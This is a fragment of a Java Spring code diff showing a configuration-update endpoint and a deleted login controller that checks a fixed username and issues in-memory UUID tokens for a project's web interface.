if (body.containsKey("PASSWD")) Config.PASSWD = (String) body.get("PASSWD");
if (body.containsKey("TLSProxy")) Config.TLSProxy = Boolean.TRUE.equals(body.get("TLSProxy"));
if (body.containsKey("keyPass")) Config.keyPass = (String) body.get("keyPass");
if (body.containsKey("certFile")) Config.certFile = (String) body.get("certFile");
result.put("success", true);
result.put("config", getStatus());
return result;
}
@GetMapping("/config")
public Map<String, Object> getConfig() {
return getStatus();
}
}
@@ -1,40 +0,0 @@
package com.qi4l.JYso.web.controller;
import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
import java.util.concurrent.ConcurrentHashMap;
@RestController
@RequestMapping("/api/auth")
public class AuthController {
private static final ConcurrentHashMap<String, String> tokens = new ConcurrentHashMap<>();
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody Map<String, String> body) {
String username = body.get("username");
String password = body.get("password");
if (!"qi".equals(username) || !JYsoWebPasswordProvider.getPassword().equals(password)) {
Map<String, String> error = new HashMap<>();
error.put("error", "Invalid credentials");
return ResponseEntity.status(401).body(error);
}
String token = UUID.randomUUID().toString();
tokens.put(token, username);
Map<String, String> result = new HashMap<>();
result.put("token", token);
result.put("username", username);
return ResponseEntity.ok(result);
}
public static boolean validateToken(String token) {
return token != null && tokens.containsKey(token);
}
}